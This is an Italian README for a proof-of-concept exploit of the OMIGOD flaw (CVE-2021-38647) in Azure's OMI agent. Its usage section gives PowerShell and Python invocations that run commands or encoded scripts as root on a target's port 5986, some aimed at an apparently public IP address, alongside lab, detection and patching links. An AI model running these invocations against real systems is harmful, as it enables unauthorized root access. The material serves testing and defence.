CVE-2021-38647

CVE-2021-38647 - POC per sfruttare RCE non autenticato #OMIGOD su VM Azure UNIX/Linux!

Dettagli

In Microsoft Azure, l'applicazione OMI viene installata automaticamente quando servizi come Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, ecc., vengono utilizzati per VM UNIX/Linux. L'applicazione OMI espone inoltre il servizio sulla porta 5986 se il servizio Configuration Management viene utilizzato per gestire la macchina da remoto.

Chiunque abbia accesso alla rete all'endpoint vulnerabile può inviare una richiesta che sfrutta il provider SCXcore senza l'intestazione Authorization ed eseguire comandi OS sulla macchina target con privilegi di root!

Questa vulnerabilità è ora corretta, ma vale sempre la pena verificarla sulle VM Linux in Azure.

Utilizzo

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

Distribuzione dell'ambiente di test

Modello ARM per distribuire su Azure - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

Distribuzione senza Azure - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

Rilevamento e Mitigazioni

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

Per mitigare la vulnerabilità, è necessario aggiornare l'agente OMI alla versione 1.6.8.1 o superiore.

Link di Riferimento

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

Blog

https://www.alteredsecurity.com/post/omigod-cve-2021-38647

Crediti

WIZ Team - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

Dichiarazione di non responsabilità

Questo progetto è destinato esclusivamente a scopi educativi. Il creatore non si assume alcuna responsabilità per qualsiasi uso improprio di questo strumento.